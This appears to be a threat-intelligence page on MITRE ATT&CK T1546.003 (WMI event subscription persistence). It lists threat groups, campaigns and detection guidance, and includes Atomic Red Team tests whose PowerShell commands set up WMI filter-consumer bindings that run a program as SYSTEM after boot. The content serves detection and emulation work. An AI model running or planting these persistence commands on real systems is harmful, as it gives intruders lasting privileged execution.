tfMITRE ATT&CK sub-technique

Windows Management Instrumentation Event Subscription T1546.003

sub-technique of T1546 Event Triggered Execution

Tactics: Persistence, Privilege Escalation
Platform: Windows
Version: 1.5
Created: 24 January 2020
Last modified: 24 October 2025
Contributors: Brent Murphy, Elastic; David French, Elastic; Viren Chaudhari, Qualys

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.[1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groupsTop 19%

Threat groups81st percentile · 81% of ATT&CK techniques have this many threat groups attributed or fewer.

CampaignsTop 17%

Campaigns83rd percentile · 83% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 23%

Tools & malware77th percentile · 77% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesTop 16%

Detection rules84th percentile · 84% of ATT&CK techniques have this many detection rules written or fewer.

Windows Management Instrumentation Event Subscription MITRE reference T1546.003

Top 19%of all ATT&CK techniques for number of groups

10 groups have been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

MetadorG1013 ↗

Has established persistence through the use of a WMI event subscription combined with unusual living-off-the-land binaries such as cdb.exe.1

created 2023-01-251 reference

Mustang PandaG0129 ↗

Mustang Panda's custom ORat tool uses a WMI event consumer to maintain persistence.1

created 2021-04-121 referenceaka TA416

Blue MockingbirdG0108 ↗

Has used mofcomp.exe to establish WMI Event Subscription persistence mechanisms configured from a *.mof file.1

created 2020-05-261 reference

HEXANEG1001 ↗

Has used WMI event subscriptions for persistence.1

created 2018-10-171 referenceaka Lyceum

RancorG0075 ↗

Has complied VBScript-generated MOF files into WMI event subscriptions for persistence.1

created 2018-10-171 reference

APT33G0064 ↗

Has attempted to use WMI event subscriptions to establish persistence on compromised hosts.1

created 2018-04-181 referenceaka HOLMIUM

All 10 groups for this technique · 6 newest in this preview

2 campaigns have been recorded using this technique. Listed newest first; dates are year-granularity and attribution is MITRE’s.

SolarWinds CompromiseC0024 ↗

During the SolarWinds Compromise, APT29 used a WMI event filter to invoke a command-line event consumer at system boot time to launch a backdoor with rundll32.exe.1 2

2019–2021

Operation GhostC0023 ↗

During Operation Ghost, APT29 used WMI event subscriptions to establish persistence for malware.1

2013–2019

All 2 campaigns for this technique

Offense vs defense T1546.003

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

How it got here

Range

Adversary activity (campaign spans) over cumulative rule output. Each source is plotted independently from zero, so neither line includes the other. Campaign dates are year-granularity.

Campaigns · 2Sigma rules (cumulative) · 12Splunk ESCU (cumulative) · 3

first rule: 2017 Q3 · 2 of 2 campaigns plotted

Windows Management Instrumentation Event Subscription detection strategy DET0086

MITRE names one behaviour worth catching for this technique and breaks it into 1 analytic, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation

Enterprise

1 platform

AN0236 · Windows

Monitor for creation of WMI EventFilter, EventConsumer, and FilterToConsumerBinding objects through WMI or MOF file execution. Detect command-line execution of mofcomp.exe, usage of Register-WmiEvent via PowerShell, and anomalous child processes of WmiPrvSE.exe that indicate triggered execution. Look for lateral anomalies in process lineage and WMI logging channels.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
WMI CreationDC0008	WinEventLog:WMI	EventCode=5857, 5858, 5860, 5861
Module LoadDC0016	WinEventLog:Sysmon	EventCode=7
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TimeWindow	Defines temporal correlation range between WMI creation and child process execution
UserContext	Tune for specific accounts (e.g., SYSTEM or attacker-controlled users)
ProcessNameAllowlist	Used to exclude known benign consumers triggered via WMI (e.g., backup tools)
ParentProcessAnomalyThreshold	Defines what constitutes anomalous spawning from WmiPrvSE.exe

1 analytic

The Sysinternals tool Autoruns checks the registry and file system for known identify persistence mechanisms. It will output any tools identified, including built-in or added-on Microsoft functionality and third party software. Many of these locations are known by adversaries and used to obtain Persistence. Running Autoruns periodically in an environment makes it possible to collect and monitor its output for differences, which may include the removal or addition of persistent tools. Depending on the persistence mechanism and location, legitimate software may be more likely to make changes than an adversary tool. Thus, this analytic may result in significant noise in a highly dynamic environment. While Autoruns is a convenient method to scan for programs using persistence mechanisms its scanning nature does not conform well to streaming based analytics. This analytic could be replaced with one that draws from sensors that collect registry and file information if streaming analytics are desired.

TypesSituational Awareness, TTPCoverageModerateSubmitted2013

D3FEND techniques

The defensive countermeasure this analytic implements, in MITRE’s D3FEND ontology.

ID	Name
D3-SICA	System Init Config Analysis

Tests3ExecutorsPowerShell 3Need elevation2 of 3Have prerequisites1Have cleanup3Platformswindows

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Persistence via WMI Event Subscription - CommandLineEventConsumer

windows

PowerShell

Required

—

Yes

Run from an administrator powershell window. After running, reboot the victim machine. After it has been online for 4 minutes you should see notepad.exe running as SYSTEM. Code references https://gist.github.com/mattifestation/7fe1df7ca2f08cbfa3d067def00c01af https://github.com/EmpireProject/Empire/blob/master/data/module_source/persistence/Persistence.psm1#L545

Attack command

$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example';
                CommandLineTemplate="$($Env:SystemRoot)\System32\notepad.exe";}
$Consumer=New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = [Ref] $Filter;
Consumer = [Ref] $Consumer;
}
$FilterToConsumerBinding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs

Cleanup command

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-CommandLineEventConsumer-Example'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

GUID51ebd862-0286-4f01-92c8-de8612b67cd3

Persistence via WMI Event Subscription - ActiveScriptEventConsumer

windows

PowerShell

Required

—

Yes

Attack command

$FilterArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                EventNameSpace='root\CimV2';
                QueryLanguage="WQL";
                Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"};
$Filter=Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $FilterArgs

$ConsumerArgs = @{name='AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example';
                ScriptingEngine='VBScript';
                ScriptText='
                Set objws = CreateObject("Wscript.Shell")
                objws.Run "notepad.exe", 0, True
                '}
$Consumer=Set-WmiInstance -Namespace "root\subscription" -Class ActiveScriptEventConsumer -Arguments $ConsumerArgs

$FilterToConsumerArgs = @{
Filter = $Filter;
Consumer = $Consumer;
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace 'root/subscription' -Class '__FilterToConsumerBinding' -Arguments $FilterToConsumerArgs

Cleanup command

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class ActiveScriptEventConsumer -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam-WMIPersistence-ActiveScriptEventConsumer-Example'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

GUID5ced8145-e674-45da-a551-e0892ac42fee

Windows MOFComp.exe Load MOF File

windows

PowerShell

—

Yes

The following Atomic will utilize MOFComp.exe to load a local MOF file. The Managed Object Format (MOF) compiler parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository. To query for the class: gwmi __eventfilter -namespace root\subscription A successful execution will add the class to WMI root namespace. Reference: https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/ and https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/.

Input arguments

Name	Type	Default	Description
mof_file	string	PathToAtomicsFolder\T1546.003\src\T1546.003.mof	Local location MOF file
mofcomp_path	string	c:\windows\system32\wbem\mofcomp.exe	Location of mofcomp.exe

Attack command

#{mofcomp_path} "#{mof_file}"

Cleanup command

$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = 'AtomicRedTeam_consumer'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = 'AtomicRedTeam_filter'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding" -ErrorAction SilentlyContinue
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject

Prerequisite

MofComp.exe must exist on disk at specified location (#{mofcomp_path})

Check

if (Test-Path "#{mofcomp_path}") { exit 0} else { exit 1}

Satisfy

Validate MOFComp.exe is on disk somewhere and update input argument.

Prerequisite

MofComp.exe must exist on disk at specified location (#{mof_file})

Check

if (Test-Path "#{mof_file}") { exit 0} else { exit 1}

Satisfy

New-Item -Type Directory (split-path "#{mof_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.003/src/T1546.003.mof" -OutFile "#{mof_file}"

GUID3801740a-f4b2-4b7a-b202-1edce66ab187

Tests from Atomic Red Team (MIT licence) · technique definition

Windows Management Instrumentation Event Subscription detections T1546.003

15 rules are mapped to this technique. Parent techniques also include their sub-techniques’ rules. Click a slice or key entry to filter the table.

Top 16%of all ATT&CK techniques for number of rules

Product

Severity

Library

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs